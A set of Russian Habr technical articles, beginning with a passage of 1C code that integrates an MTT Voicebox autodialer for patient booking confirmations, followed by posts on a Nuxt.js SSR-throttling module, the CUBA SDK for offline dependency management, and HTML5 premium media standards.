Листинг 2: ПолучитьНомерПациента(Пациент)
Достаточно простая функция, не учитывающая содержание в номере только цифр. По-умолчанию мы считаем, что все номера в справочнике проверены.
```
&НаСервере
Процедура ОтправитьЗапросВМТТ(ВыбГУИД) Экспорт
ЭлементСправочника = Справочники.МТТ_Обмен.ПолучитьСсылку(ВыбГУИД);
Если (не ЗначениеЗаполнено(ЭлементСправочника.Ссылка.Пациент)) или (не ЗначениеЗаполнено(ЭлементСправочника.Ссылка.ЗаписьПациента)) Тогда
ЭлементСправочника = ЭлементСправочника.Ссылка.ПолучитьОбъект();
ЭлементСправочника.Завершен = Истина;
КонецЕсли;
Если не ЭлементСправочника.ЗаписьПациента = Документы.ЗаписьПациента.ПустаяСсылка() Тогда
ЗаписьПациента = ЭлементСправочника.ЗаписьПациента.Ссылка.ПолучитьОбъект();
ЗаписьПациента.СтатусДокумента = Справочники.СтатусДокумента.НайтиПоНаименованию("Бронь не подтвержденная");
ЗаписьПациента.ПричинаОтмены = Справочники.ПричиныОтменыЗаписи.НайтиПоНаименованию("автообзвон: недозвон");
Попытка
ЗаписьПациента.Записать();
Исключение
КонецПопытки;
ЭлементСправочника.Записать();
Возврат;
КонецЕсли;
//Прочие преобразования данных
…..
//Формируем данные для передачи запроса в МТТ
ДанныеПакета = Новый Структура;
ДанныеПакета.Вставить("method",Константы.МТТ_ИмяМетода.Получить());
ДанныеОбзвона = Новый Структура;
ДанныеОбзвона.Вставить("number",Строка(ЭлементСправочника.number_b));
ДанныеОбзвона.Вставить("guid",Строка(ЭлементСправочника.УникальныйИдентификатор()));
ДанныеОбзвона.Вставить("name",Строка(ЭлементСправочника.NameStr));
ДанныеОбзвона.Вставить("visit",НормализацияСтроки(СокрЛП(ЭлементСправочника.VisitStr)));
ДанныеПакета.Вставить("data",ДанныеОбзвона);
//Отправляем данные в функцию модуля, листинг 4
ЗапросМТТ = СформироватьJSONМногомерный(ДанныеПакета, Истина);
//Получаем ответ выполнения запроса – ключевой момент – call_id
Результат = ОповеститьСервер(ЗапросМТТ);
ЗаписьОбъект = ЭлементСправочника.Ссылка.ПолучитьОбъект();
ЗаписьОбъект.СтатусОтправкиЗапроса = Строка(Результат);
ЗаписьОбъект.Завершен = Ложь;
ЗаписьОбъект.Записать();
ЧтениеОтвета = Новый ЧтениеJSON;
//Тип число – ответ не обработки запроса, а HTTP метода, статус. Значит, от сервера не получено JSON-формы
Если не ТипЗнч(Результат)=Тип("Число") Тогда
ЧтениеОтвета.УстановитьСтроку(Результат);
Попытка
ДанныеОтвета = ПрочитатьJson(ЧтениеОтвета, Истина);
ЗаписьОбъект.call_id = ДанныеОтвета.Получить("id");
ЗаписьОбъект.call_date = ТекущаяДата();
ЗаписьОбъект.call_time = ТекущаяДата();
ЗаписьОбъект.Записать();
Исключение
Возврат;
КонецПопытки;
КонецЕсли;
КонецПроцедуры
```
Листинг 3: ОтправитьЗапросВМТТ(ВыбГУИД)
Основные моменты приведенного листинга: формируем JSON Запрос, отправляем его функциями отправки, получаем ответ call\_id или статус HTTP сервера, фиксируем полученные данные в справочнике. В дальнейшем начинаем искать уже по статусу call\_id, с которым будут приходить следующие запросы.
```
&НаСервере
Функция СформироватьJSONМногомерный(СтруктураДанных, ФормироватьСПереносами = Ложь) Экспорт
ЗаписьJSON = Новый ЗаписьJSON;
Если ФормироватьСПереносами Тогда
ЗаписьJSON.УстановитьСтроку(Новый ПараметрыЗаписиJSON());
Иначе
ЗаписьJSON.УстановитьСтроку(Новый ПараметрыЗаписиJSON(ПереносСтрокJSON.Unix,,Истина));
КонецЕсли;
НастройкиСериализацииJSON = Новый НастройкиСериализацииJSON;
НастройкиСериализацииJSON.ВариантЗаписиДаты = ВариантЗаписиДатыJSON.ЛокальнаяДатаСоСмещением;
НастройкиСериализацииJSON.ФорматСериализацииДаты = ФорматДатыJSON.ISO;
Попытка
ЗаписатьJSON(ЗаписьJSON, СтруктураДанных, НастройкиСериализацииJSON);
Возврат ЗаписьJSON.Закрыть();
Исключение
Возврат Неопределено;
КонецПопытки;
КонецФункции
```
Листинг 4: СформироватьJSONМногомерный(СтруктураДанных, ФормироватьСПереносами = Ложь)
Привожу тут код в формате «как есть», подходит для вставки в любую часть вашего кода. Отлаживал и настраивал, код рабочий, проверен.
```
&НаСервере
Функция ОповеститьСервер(ЗапросJSON) Экспорт
ЗаголовокЗапросаHTTP = Новый Соответствие();
// Передаем в заголовках тип данных на отправку. Пароль храню в константе конфигурации
ЗаголовокЗапросаHTTP.Вставить("Authorization", "Basic " + СокрЛП(Константы.МТТ_ЛогинПароль.Получить()));
ЗаголовокЗапросаHTTP.Вставить("Content-Type", "application/json charset=utf-8");
ЗаголовокЗапросаHTTP.Вставить("Accept", "*/*");
ЗаголовокЗапросаHTTP.Вставить("Connection", "keep-alive");
//РазбитьАдресИнтернет – функция модуля, написана специально для данной задачи. Аналогична функции ПолучитьНомерПациента()
ДанныеАдреса = РазбитьАдресИнтернет(Константы.МТТ_HTTPSАдрес.Получить());
Если ДанныеАдреса.Получить("https") Тогда
HTTP = Новый HTTPСоединение(ДанныеАдреса.Получить("Адрес"),Число(ДанныеАдреса.Получить("Порт")),,,,,Новый ЗащищенноеСоединениеOpenSSL());
Иначе
HTTP = Новый HTTPСоединение(ДанныеАдреса.Получить("Адрес"),Число(ДанныеАдреса.Получить("Порт")));
КонецЕсли;
запросPOST = Новый HTTPЗапрос(ДанныеАдреса.Получить("Суффикс"), ЗаголовокЗапросаHTTP);
запросPOST.УстановитьТелоИзСтроки(ЗапросJSON,"UTF-8");
ОтветСервера = "";
Попытка
HTTPОтвет = HTTP.ОтправитьДляОбработки(запросPOST);
ОтветСервера = HTTPОтвет.ПолучитьТелоКакСтроку();
Если ОтветСервера = "" Тогда
ОтветСервера = HTTPОтвет.КодСостояния;
КонецЕсли;
Исключение
//тут дебаг
КонецПопытки;
Возврат ОтветСервера;
КонецФункции
```
Листинг 5: Функция ОповеститьСервер(ЗапросJSON)
С функцией отправки предлагаю поступить аналогично функции формирования запроса, а именно использовать в формате «как есть». Долго отлаживал заголовки, получился в итоге рабочий вариант, не требующий изменений.
```
&НаСервере
Процедура ОбработатьВходящийПакет(ДанныеПакета) Экспорт
//Позиционируемся на справочник по статусу ответа
НашЭлемент = Справочники.МТТ_Обмен.НайтиПоРеквизиту("call_id",Строка(ДанныеПакета.Получить("call_id")));
Если НашЭлемент = Справочники.МТТ_Обмен.ПустаяСсылка() Или НашЭлемент = Неопределено Тогда
//обработка на случай отсуствия call_id
Иначе
НашЭлемент = НашЭлемент.Ссылка.ПолучитьОбъект();
НашЭлемент.СтатусПриемаОтвета = "ОК";
КонецЕсли;
НашЭлемент.call_id= Строка(ДанныеПакета.Получить("call_id"));
НашЭлемент.call_time = ТекущаяДата();
НашЭлемент.call_date = ТекущаяДата();
НашЭлемент.number_b = Строка(ДанныеПакета.Получить("number_b"));
НашЭлемент.ResponseCode = Строка(ДанныеПакета.Получить("response"));
НашЭлемент.Записать();
//Далее идет проверка и установка необходимых статусов, исходя из полученных значений, завершение бронирования.
КонецПроцедуры
```
Листинг 6: Процедура ОбработатьВходящийПакет(ДанныеПакета)
Обязательно приведу листинг 7 процедуры нормализации строки, передаваемой для произнесения роботом МТТ. Есть символы, которые не произносятся и могут вызвать отказ и перевод на оператора.
```
Функция НормализацияСтроки(СтрокаJSON) Экспорт
НовСтрока = "";
ПравильныеСимволы = " :1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnmЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮйцукенгшщзхъфывапролджэячсмитьбю";
Для Сч = 1 по СтрДлина(СтрокаJSON) Цикл
ТекСимв = Сред(СтрокаJSON, Сч, 1);
Если Найти(ПравильныеСимволы, ТекСимв) > 0 Тогда
НовСтрока = НовСтрока + ТекСимв;
Иначе
НовСтрока = НовСтрока + " ";
КонецЕсли;
КонецЦикла;
Возврат НовСтрока;
КонецФункции
```
Листинг 7: Функция НормализацияСтроки(СтрокаJSON)
Заключение
----------
В статье изложил основные методы и принципы настройки обмена на стороне 1С. Настройки [Voicebox](https://www.mtt.ru/voicebox/) от компании МТТ привел на своем примере. Функциональность запущена на реальных данных 30 мая 2022 года, отладку механизма завершил 4 июля.
В результате тестовой работы ошибок обмена нет. Но очень долго шел к тому, что нужно фиксировать установку соединения в результате звонка. Иначе оставались «Мертвые души» в справочнике МТТ\_Обмен без статусов. В связи с этим механизм набирал условленное количество раз, которое меньше счетчика справочника МТТ\_Обмен.КоличествоНеудачныхПопыток без указания статуса, не менял статус документа.
При реализации HTTP-метода отражения инициации звонка стало понятно, отработал запрос звонка или нет. В итоге стандартным стал считаться статус «взял-положил трубку до отработки скрипта», и все стало работать корректно
МТТ оказали поддержку на всех этапах. Разбирались и оптимизировали скрипты совместно, на все вопросы появились ответы. Особенно это было актуально, когда вместе с заказчиком настраивали веб-сервер IIS для публикации базы данных, обеспечивали нестандартный порт для приема ответов от Voicebox.
Всем спасибо за прочтение статьи, прошу все вопросы задавать в комментариях. | https://habr.com/ru/post/670282/ | null | ru | null |
# Увеличиваем RPS на Nuxt.js
Все мы знаем что nuxt.js 2 (да и любое node.js приложение с SSR) не держит нагрузку без кеша, в среднем проекте если включить режим SSR то будет держать 20-30 RPS что очень мало.
Стандартные решения это подключить пару пакетов каких нибудь кешеров, и кешировать каждую страницу или запросы. В целом это хорошо помогает.
Есть 3 проблемы с которыми я сталкивался на проекте, и хотел бы стабилизировать ситуацию. Чтобы дать еще один шанс запуститься приложению хотя бы без SSR.
1. Медленные ответы API, бывает что бэк что-то не предусмотрел и на проде запросы стали медленными.
2. Ошибки JS в режиме SSR, причем в браузере этих ошибок нет. Допустили по неосторожности или другим причинам.
3. Большая нагрузка при DDOS когда упираемся в оперативку или процессор, надо отключать режим SSR и дать клиенту пустышку чтобы в браузере могло запуститься.
Пообщавшись в девопсами пришли к некоторым правилам которым должно следовать SPA приложение:
* Отключить SSR при медленном рендере страницы. Делегировать рендер браузеру.
* Даунгрейд должен быть не во всем СПА, а только там где есть проблема.
* В случае больших нагрузок и когда рендер всё медленнее и медленнее надо следить за этим, и на время отключить SSR во всём приложении, спустя время в автоматическом режиме включать снова.
* Отключать SSR принудительно на некоторых страницах где он не нужен, чтобы не грузить сервер.
* Добавить кеш и storage держать в redis
Написал в общем модуль который всё это делает в автоматическом режиме. Для достижения максимального эффекта надо еще добавить модуль кеширования (например nuxt-ssr-cache).
```
npm install @drozd/nuxt-performance
```
Далее идём в nuxt.config.js
```
module.exports = {
performance: {
// логирование времени запросов
renderRouteTimeCallback: (route, ms) => {
console.log(`time render route: ${route} ${ms} ms`);
},
// отключаем SSR на нужных нам роутах
isOnlySPA: (route, _context) => {
return route === '/personal';
},
// кол-во допустимых мс для рендера при SSR
maxRenderTime: 1000,
// кол-во попыток отрисовать SSR если рендер медленный,
// дальше выключаем на указнное время timeDisabledSsrWithRoute
maxAttemptSsr: 5,
// RegExp страниц исключения для модуля в целом
excludeRoutes: /healthcheck/,
// на какое время выключаем сср для страницы
timeDisabledSsrWithRoute: 1000 * 60,
// интервал очистки общего счётчика, когда выключили SSR на всём сайте
clearSlowCounterIntervalTime: 1000 * 60 * 5,
// Общее кол-во медленных запросов на сайте, потом отключаем SSR везде
maxSlowCount: 50
}
// ...
};
```
После внедрения данного модуля и настройке кеширования всех страниц на 10сек мы получили прирост RPS в ~15раз, **с 30 до 500** результат плавающий, зависит от выделенных ресурсов админами :)
Репозиторий <https://github.com/gustoase/nuxt-performance>
Если у вас есть опыт по оптимизациям, пишите, всем будет полезно) | https://habr.com/ru/post/688858/ | null | ru | null |
# Организация разработки в изолированной сети — как управлять зависимостями?
Как можно собрать актуальный стек используемых библиотек и фреймворков чтобы комфортно заниматься разработкой если вы самоизолировались в глухой деревне, летите 8 часов в самолете или в вашей компании лимитирован доступ к всемирной паутине настолько, что вы не можете пользоваться публичными репозиториями артефактов, например таким, как maven central? Как же нам предоставить все необходимые артефакты, от которых мы зависим, включая транзитивные зависимости? Как потом их обновлять вместе с новыми версиями фреймворка?
Попробуем найти ответы на эти вопросы. В данной статье я хочу рассказать о нашем новом инструменте CUBA SDK — консольной утилите, которая позволяет определять все транзитивные зависимости для Maven-библиотек и управлять ими в удаленных репозиториях. Также в статье мы рассмотрим пример, который позволит вам использовать наши наработки для любого Java приложения с применением Maven-зависимостей.
Всем привет,
Наша компания занимается разработкой CUBA — Open Source Java фреймворка для разработки корпоративных приложений. Платформа CUBA — это целая экосистема, которая включает в себя сам фреймворк и разнообразные аддоны, предоставляющие прикладной функционал, готовый к использованию в несколько кликов. За последние несколько лет фреймворк сильно набрал популярность и сейчас используется более 20 000 разработчиками по всему земному шару. С ростом популярности мы сталкивались с множеством интересных кейсов и в этой статье хотим затронуть один из них. Возможно, этот материал поможет в вашей практике, особенно если вы работаете в организации, в которой вопросы безопасности больно бьют по рукам разработчиков.
Проблема загрузки транзитивных зависимостей для внутренних репозиториев
-----------------------------------------------------------------------
Практически любой современный JVM проект, задействующий Apache Maven или Gradle в качестве инструмента сборки, имеет большое количество транзитивных зависимостей для используемых библиотек или фреймворков. При наличии доступного репозитория в сети эти зависимости автоматически разрешаются с помощью менеджера зависимостей.
Но что делать в случае, если публичные репозитории недоступны из внутренней сети?
Возможные варианты решения проблемы
-----------------------------------
Казалось бы, все просто — берем Nexus и проксируем обращение к репозиториям через него. Действительно, это решение в большинстве случаев может подойти, но не в тех случаях, где к безопасности предъявляются беспрецедентные требования. К таким организациям относятся предприятия военной промышленности, министерства, центробанк и прочие государственные институты. Выход в интернет в таких местах строго регламентирован и зачастую не позволяет использовать традиционное проксирование.
Что же нам остается?
* Вариант 0. Упрашивание безопасников.
* Вариант 1. Шлюз.
* Вариант 2. Ручное управление зависимостями.
Вариант 0 рассматривать не будем, рассмотрим вариант 1 и 2.
Для варианта со шлюзом: в организации должен быть шлюзовой компьютер, который одновременно может быть подключен или к внешней, или к внутренней сети. После загрузки и проверки необходимых библиотек из внешней сети шлюз переключается во внутреннюю сеть, и после этого библиотеки загружаются во внутренние репозитории. Добавление новых зависимостей или обновление существующих для одного проекта обычно занимает продолжительное время, так как нужно получить доступ к шлюзу, загрузить необходимые артефакты, проверить, что все транзитивные зависимости были загружены корректно, и затем выгрузить зависимости во внутренний репозиторий. Если проектов в организации много, то работа команды разработки может простаивать в ожидании, пока необходимые зависимости станут доступны из внутренних репозиториев.
Для варианта с ручным управлением зависимостями при обновлении или добавлении компонентов придется каждый раз проверять список зависимостей для библиотек и сравнивать с уже загруженными библиотеками.
Как видим из доступных примеров, добавление новых или обновление существующих зависимостей — это довольно сложное действие.
Если не рассматривать систему безопасности в организациях, то проблема доступности репозиториев актуальна и для разработчиков, например, разработчик планирует поработать в самоизоляции в глухой деревне у бабушки, но интернет там не ловит. Чтобы подготовиться для таких случаев, всегда можно попробовать использовать оффлайн плагины для Gradle или Maven. Но если проектов несколько, то для каждого проекта нужно будет
* настроить оффлайн плагин
* на всякий случай добавить в проект все зависимости, которые потенциально могут пригодиться, чтобы оффлайн плагины смогли их корректно добавить в свой кэш
* выгрузить все зависимости в локальную папку
Это не очень удобно, так как в проекте будут лишние зависимости и конфигурации, которые потом нужно будет не забыть удалить из проекта. И все равно останется проблема с созданием нового проекта, потому что может не хватать нужных модулей.
Как мы предлагаем решать эти проблемы?
CUBA SDK
--------
Среди пользователей платформы CUBA есть организации в которых по соображениям безопасности нет доступа к внешней сети или доступ ограничен.
Мы решили облегчить жизнь таким пользователям и сделать консольное приложение CUBA SDK, которое могло бы определять все зависимости для аддонов и платформы CUBA.
В чем отличие CUBA SDK от оффлайн плагинов для Gradle или Maven?
Главное отличие — CUBA SDK не кэширует зависимости конкретного проекта, а позволяет синхронизировать артефакты между внешними и внутренними репозиториями, чтобы разработчикам было комфортно создавать и разрабатывать приложения в закрытой сети.
CUBA SDK не требует проекта и позволяет создать необходимый оффлайн стек фреймворков, аддонов и библиотек со всеми зависимостями.
Для разработчика это может быть полезно, если он работает с несколькими проектами или только планирует начать новый проект и сразу не знает, какие модули будут использоваться в его проекте. С помощью SDK эти модули могут быть заранее загружены в локальный или внутренний репозиторий.
Для организаций это может быть полезно для централизованной синхронизации внутренних репозиториев.
CUBA SDK позволяет с помощью нескольких консольных команд определять все зависимости для артефактов и заливать их в нужные репозитории. Для полностью закрытых сетей можно использовать команды импорта и экспорта или установить CUBA SDK на шлюз.
Преимущества использования CUBA SDK:
* автоматически собирает все зависимости с исходным кодом для загружаемых библиотек
* определяет зависимости для платформы и аддонов CUBA Platform
* проверяет и устанавливает новые версии библиотек
* может работать одновременно с несколькими репозиториями для поиска артефактов, включая локальные maven репозитории
* имеет встроенный Nexus OSS репозиторий артефактов
* даёт возможность загрузки артефактов одновременно в несколько репозиториев, включая локальные maven
* производит импорт и экспорт артефактов со всеми зависимостями
* предоставляет интерактивный режим с подсказками для установки платформы и аддонов CUBA Platform
* использует механизмы Gradle для определения зависимостей
* не зависит от IDE
* может быть установлен на CI сервере
Команды SDK
-----------
Полный список доступных команд можно посмотреть на [странице GitHub](https://github.com/cuba-platform/cuba-sdk).
CUBA SDK изначально поддерживает три типа компонентов: CUBA Framework, CUBA addon и библиотека, которая может быть загружена через maven координаты. Этот список может быть расширен для других типов компонентов через плагины для CUBA SDK.
Установка компонента в удаленный репозиторий может быть выполнена через команду **install**. При создании SDK мы предусмотрели вариант, когда SDK может быть установлен на шлюзовом компьютере или на переносном носителе, в этом случае установку компонентов можно сделать через команды **resolve** и **push**.
**resolve** — просто определяет и скачивает все зависимости в локальный кэш SDK
**push** — заливает уже скачанные артефакты с зависимостями в настроенные target репозитории
Для работы с репозиториями в SDK есть встроенный менеджер репозиториев.
Менеджер репозиториев поддерживает локальные и удаленные репозитории, которые в SDK разделены на две группы:
* **source** — это репозитории, которые будут использоваться для поиска артефактов
* **target** — репозитории, в которые нужно будет залить эти артефакты
SDK сам может использоваться как репозиторий, для этого с помощью команды **setup-nexus** SDK скачивает, устанавливает и настраивает репозиторий Nexus OSS. Для запуска и остановки репозитория используются команды *start* и *stop*.
Для проверки и установки обновлений достаточно выполнить команду **check-updates**.
Определение зависимостей
------------------------
Самая главная проблема, которую должен был решать SDK — это корректное определение и сбор зависимостей для компонентов. При разработке мы попробовали несколько подходов для определения транзитивных зависимостей компонентов. Изначально возникла идея, что можно просто распарсить .pom файлы и составить дерево зависимостей. Но идея парсить файлы вручную оказалась не очень хорошей, тем более что Apache Maven все это уже умеет делать из коробки.
Maven как менеджер зависимостей
-------------------------------
Поэтому мы решили использовать Apache Maven для определения транзитивных зависимостей компонентов.
Для этого в CUBA SDK скачивается дистрибутив maven в домашнюю папку SDK и через Java Runtime запускаются команды.
Например, с помощью команды
```
dependency:resolve -Dtransitive=true -DincludeParents=true -DoverWriteSnapshots=true -Dclassifier= -f pom.xml
```
мы определяли все зависимости для компонентов, которые описаны в pom.xml, и эти компоненты автоматически скачивались в локальный кэш maven, после чего с помощью команды
```
org.apache.maven.plugins:maven-deploy-plugin:3.0.0-M1:deploy-file -Durl=
```
артефакты заливались в нужный репозиторий.
Следующая команда позволяет загрузить библиотеку в локальный репозиторий.
```
org.apache.maven.plugins:maven-dependency-plugin:3.1.1:get -Dartifact=
```
Для выполнения команд Maven в приложении CUBA SDK сгенерировался `settings.xml` файл. Он содержал список всех репозиториев, которые должны были использоваться для загрузки и выгрузки артефактов.
Gradle как менеджер зависимостей
--------------------------------
В первой версии приложения зависимости определялись корректно, но довольно медленно, и при тестировании функционала стали возникать конфликты при определении зависимостей для некоторых аддонов CUBA Platform, хотя при сборке проекта через Gradle таких проблем не возникало.
Поэтому мы решили попробовать переписать всю логику определения зависимостей на Gradle. Для этого мы создали build.gradle скрипт, который содержал необходимые задачи по загрузке и определению зависимостей для компонентов.
Для вызова задач Gradle используется Gradle Tooling API.
Для определения пути к зависимостями через Gradle мы используем artifact resolution query API. Следующий код позволяет получить путь к исходникам библиотеки:
```
def component = project.dependencies.createArtifactResolutionQuery()
.forComponents(artifact.id.componentIdentifier)
.withArtifacts(JvmLibrary, SourcesArtifact)
.execute()
.resolvedComponents[0]
def sourceFile = component?.getArtifacts(SourcesArtifact)[0]?.file
```
Таким образом, мы получили пути ко всем файлам в локальном кэше Gradle и сохраняли их в хранилище SDK.
Для загрузки в локальный кэш и определения зависимостей для компонентов мы добавляем компоненты в конфигурацию и через `lenientConfiguration` получаем все зависимости.
```
project.ext.properties["toResolve"].tokenize(';').each {
dependencies.add 'extraLibs', it
}
def resolved = [:]
configurations.all.collect {
if (it.canBeResolved) {
it.resolvedConfiguration.lenientConfiguration.artifacts.each { art ->
try {
...
} catch (e) {
logger.error("Error: " + e.getMessage(), e)
logger.error("could not find pom for {}", art.file)
}
}
}
}
```
Мы используем `lenientConfiguration`, чтобы Gradle скрипт пропускал не найденные зависимости и не падал в случае если компонент не найден в репозиториях.
Для загрузки артефактов в репозитории SDK использует `PublishToMavenRepository` задачу Gradle.
```
task publishArtifact(type: PublishToMavenRepository) {
doLast {
if (project.ext.hasProperty("toUpload")) {
def toUpload = new JsonSlurper().parseText(project.ext.properties["toUpload"])
def descriptors = new JsonSlurper().parseText(project.ext.properties["descriptors"])
artifactId toUpload.artifactId
groupId toUpload.groupId
version toUpload.version
descriptors.each { descriptor ->
artifact(descriptor.filePath) {
classifier descriptor.classifier.type
extension descriptor.classifier.extenstion
}
}
}
}
}
```
В результате использования Gradle мы избавились от конфликтов при определении транзитивных зависимостей и заметно ускорили работу приложения.
Сборка проекта
--------------
Для сборки CUBA SDK мы использовали тот же подход, что и для CUBA CLI. Мы с помощью инструмента jlink собирали все необходимые модули в кастомную JRE, которая поставляется вместе с приложением. Это позволило сделать SDK независимым от установленной на компьютерах пользователей Java. Пример такой сборки можно посмотреть в [CLI Core Sample проекте](https://github.com/cuba-platform/cli-core-sample).
Поддержка сторонних плагинов
----------------------------
Так как CUBA SDK построен на основе [библиотеки CLI Core](https://github.com/cuba-platform/cli-core), CUBA SDK поддерживает сторонние плагины. С помощью системы плагинов сейчас в SDK реализованы maven и gradle менеджеры зависимостей компонентов и провайдеры для CUBA компонентов.
Рассмотрим пример, как мы можем расширить функционал SDK с помощью плагина. В данном примере мы напишем провайдер для стартеров Spring Boot из хорошо известного [Spring Initializr](https://start.spring.io/).
Для начала создадим новый проект, для примера возьмем плагин для CUBA CLI, как описано [здесь](https://github.com/cuba-platform/cuba-cli/wiki/Plugin-Development), и добавим зависимости:
```
implementation "com.haulmont.cli.core:cli-core:1.0.0"
implementation "com.haulmont.cli.sdk:cuba-sdk:1.0.1"
```
Создадим новый провайдер для стартеров spring boot `SpringBootProvider`, который наследуем от `BintraySearchComponentProvider`. `BintraySearchComponentProvider` позволяет автоматически находить доступные версии компонентов, используя Bintray API.
```
class SpringBootProvider : BintraySearchComponentProvider() {
var springComponentsInfo: SpringComponentsInfo? = null
override fun getType() = "boot-starter"
override fun getName() = "Spring boot starter"
...
override fun load() {
springComponentsInfo = Gson().fromJson(readSpringFile(), SpringComponentsInfo::class.java)
}
private fun readSpringFile(): String {
return SpringComponentsPlugin::class.java.getResourceAsStream("spring-components.json")
.bufferedReader()
.use { it.readText() }
}
```
Этот провайдер будет искать доступные компоненты из файла *spring-components.json*, который является [json версией yml файла приложения Spring Initializr](https://github.com/spring-io/start.spring.io/blob/5294926a91392c12cc709f481c3a1df9650d5747/start-site/src/main/resources/application.yml).
Для маппинга из json в объекты создадим простые data классы:
```
data class SpringComponent(
val name: String,
val id: String,
val groupId: String?,
val artifactId: String?,
val description: String?,
val starter: Boolean? = true
)
data class SpringComponentCategory(
val name: String,
val content: List
)
data class SpringInitializr(
val dependencies: List
)
data class SpringComponentsInfo(
val initializr: SpringInitializr
)
```
Для того, чтобы добавить наш провайдер к остальным провайдерам SDK, нужно в init событии плагина зарегистрировать провайдер:
```
class SpringBootComponentsPlugin : CliPlugin {
private val componentRegistry: ComponentRegistry by sdkKodein.instance()
@Subscribe
fun onInit(event: InitPluginEvent) {
val bootProvider = SpringBootProvider()
componentRegistry.addProviders(bootProvider)
bootProvider.load()
}
}
```
Все готово. Теперь, чтобы установить наш плагин в терминале или через IDE, нужно выполнить команду *gradle installPlugin*.
Запустим SDK
Видим, что наш плагин успешно загрузился. Теперь проверим, что вся наша логика работает с помощью команды *resolve boot-starter*:
Как видим, подсказки для компонентов и их версий успешно заработали.
Если в вашем хранилище артефактов артефакты и зависимости хранятся отлично от maven репозиториев, то через плагины можно использовать свою реализацию интерфейса *ArtifactManager*, в которой будет логика работы с вашим хранилищем.
Исходный код тестового плагина можно найти на [странице GitHub](https://github.com/cuba-platform/cuba-sdk-spring-boot-plugin).
Заключение
----------
В первую очередь, CUBA SDK будет полезен организациям, у которых по соображениям безопасности есть ограничения на доступ к внешней сети.
Если не рассматривать систему безопасности в организациях, то проблема доступности репозиториев актуальна и для разработчиков, например, разработчик планирует поработать в самоизоляции в деревне у бабушки, но интернет там не ловит. В этом случае CUBA SDK — отличное решение, которое позволит собрать актуальный стек используемых библиотек и фреймворков локально у вас на компьютере. | https://habr.com/ru/post/512966/ | null | ru | null |
# Внедрение премиального медиа-контента с HTML5
Коммерческая медиа-индустрия проходит через большую трансформацию по мере того, как контент-провайдеры отходят от модели доставки контента с использованием закрытых веб-плагинов (таких, как Flash или Silverlight) и заменяют их едиными бесплагинными видео-плеерами, базирующимися на спецификациях HTML5 и возможностях проигрывания коммерческого контента. Браузеры также двигаются в сторону от использования плагинов, так [Chrome отказывается от NPAPI](http://www.chromium.org/developers/npapi-deprecation) и [Microsoft Edge от ActiveX](http://blogs.windows.com/msedgedev/2015/05/06/a-break-from-the-past-part-2-saying-goodbye-to-activex-vbscript-attachevent/) в пользу более защищенных моделей расширения.
Переход к модели проигрывания медиа-контента без использования плагинов становится возможным благодаря недавно разработанным новым спецификациям:
* Со стороны W3C: [Media Source Extensions](http://www.w3.org/TR/media-source/) для адаптивного стриминга и [Encrypted Media Extensions](http://www.w3.org/TR/encrypted-media/) для защиты контента.
* Со стороны Moving Picture Experts Group (MPEG): [DASH](http://standards.iso.org/ittf/PubliclyAvailableStandards/c065274_ISO_IEC_23009-1_2014.zip) и [Common Encryption (CENC)](https://www.iso.org/obp/ui/#iso:std:iso-iec:23001:-7:ed-2:v1:en).
Эти спецификации спроектированы и разработаны с целью сделать стриминг совместимым на множестве медиа-платформ и устройств. Фокусируясь на совместимых решениях, контент-провайдеры могут снизить затраты, при этом пользователи смогут получить доступ к контенту с тех устройств, которые они предпочитают, и используя те приложения или веб-браузеры, которые они выбрали для себя. В Microsoft мы верим, что это огромное преимущество как для контент-провайдеров, так и для зрителей, и мы рады поддерживать компании, реализующие такую трансформацию.
Это длинная статья, и мы бы не хотели, чтобы вы упустили интересующую вас тему. Вот краткое содержание:
* Некоторая информация о Microsoft Edge и Silverlight
* Обзор состояния совместимых веб-медиа
* Сложности и варианты их преодоления
+ Простой вариант DASH-стриминга
+ Демонстрация веб-сайта, использующего библиотеку для проигрывания адаптивного контента
+ Сервисы Azure Media Services, которые могут вам помочь
+ Простой способ создания приложения под универсальную Windows-платформу (UWP) на базе кода веб-сайта
+ Демонстрация UWP-приложения с интеграцией проигрывания видео и голосовых команд для Кортаны
Microsoft Edge и Silverlight
----------------------------
Поддержка ActiveX была исключена при разработке Microsoft Edge и это включает удаление поддержки Silverlight. Причины этого обсуждались в одной из [прошлых статей](http://blogs.windows.com/msedgedev/2015/05/06/a-break-from-the-past-part-2-saying-goodbye-to-activex-vbscript-attachevent/) и включают эволюцию доступных и защищенных медиа-решений, базирующихся на расширениях HTML5. Microsoft продолжает поддерживать Silverlight, вне-браузерные приложения на Silverlight продолжают работать. Также Silverlight по-прежнему будет поддерживаться в Internet Explorer 11, так что сайты с Silverlight могут работать и в Windows 10. В то же время мы призываем компании, использующие Silverlight для медиа-контента переходить на движки, использующие DASH/MSE/CENC/EME, и внедрять единый процесс защиты контента на базе CENC. Это открывает путь к наиболее широкой совместимости между браузерами, платформами, контентом и устройствами.
Совместимость Media-контента между браузерами
---------------------------------------------
Плагины вроде Silverlight должны были обеспечить совместимости проигрывания медиа-контента за счет наличия версии плагина для различных браузеров. Это сильно осложнилось по мере увеличения количества устройств и платформ с браузерами. Сегодня, так как старая модель с плагинами сходит со сцены, ей необходима замена. Для медиа-контента подходящей сменой может быть решение, опирающееся на DASH, MSE, EME и CENC.
Windows 10 и Microsoft Edge поддерживают DASH, MSE, EME и CENC нативно, другие браузеры также внедряют поддержку MSE и EME, совместимую с CENC. Это позволяет разработчикам создавать приложения с поддержкой видео без использования плагинов, работающие на большом спектре устройств и платформ, в которых реализация MSE/EME может быть сделана поверх разных цепочек проигрывания видео и защиты контента.
*DRM-провайдеры могут отличаться в разных браузерах*
В наши дни, когда DRM-системы используют проприетарные форматы файлов и методы шифрования, такая вариативность в DRM-провайдерах в браузерах может быть критичной проблемой. Благодаря разработке и внедрению общего шифрования (Common Encryption, CENC), проблема существенно сглаживается, так как файлы сжимаются в стандартных форматах и шифруются с использованием глобальных индустриальных стандартов. Сервис-провайдеры выдают ключи и лицензии, необходимые для потребления контента в конкретном браузере, но **код веб-сайта, контент и ключи шифрования являются общими между ними, независимо от используемого средства DRM**. Примером такой реализации является DASH.js, референсный индустриальный плеер с открытым кодом, используемый для демонстрации данных технологий и служащий основной для многих плееров, внедряемых сегодня в вебе.
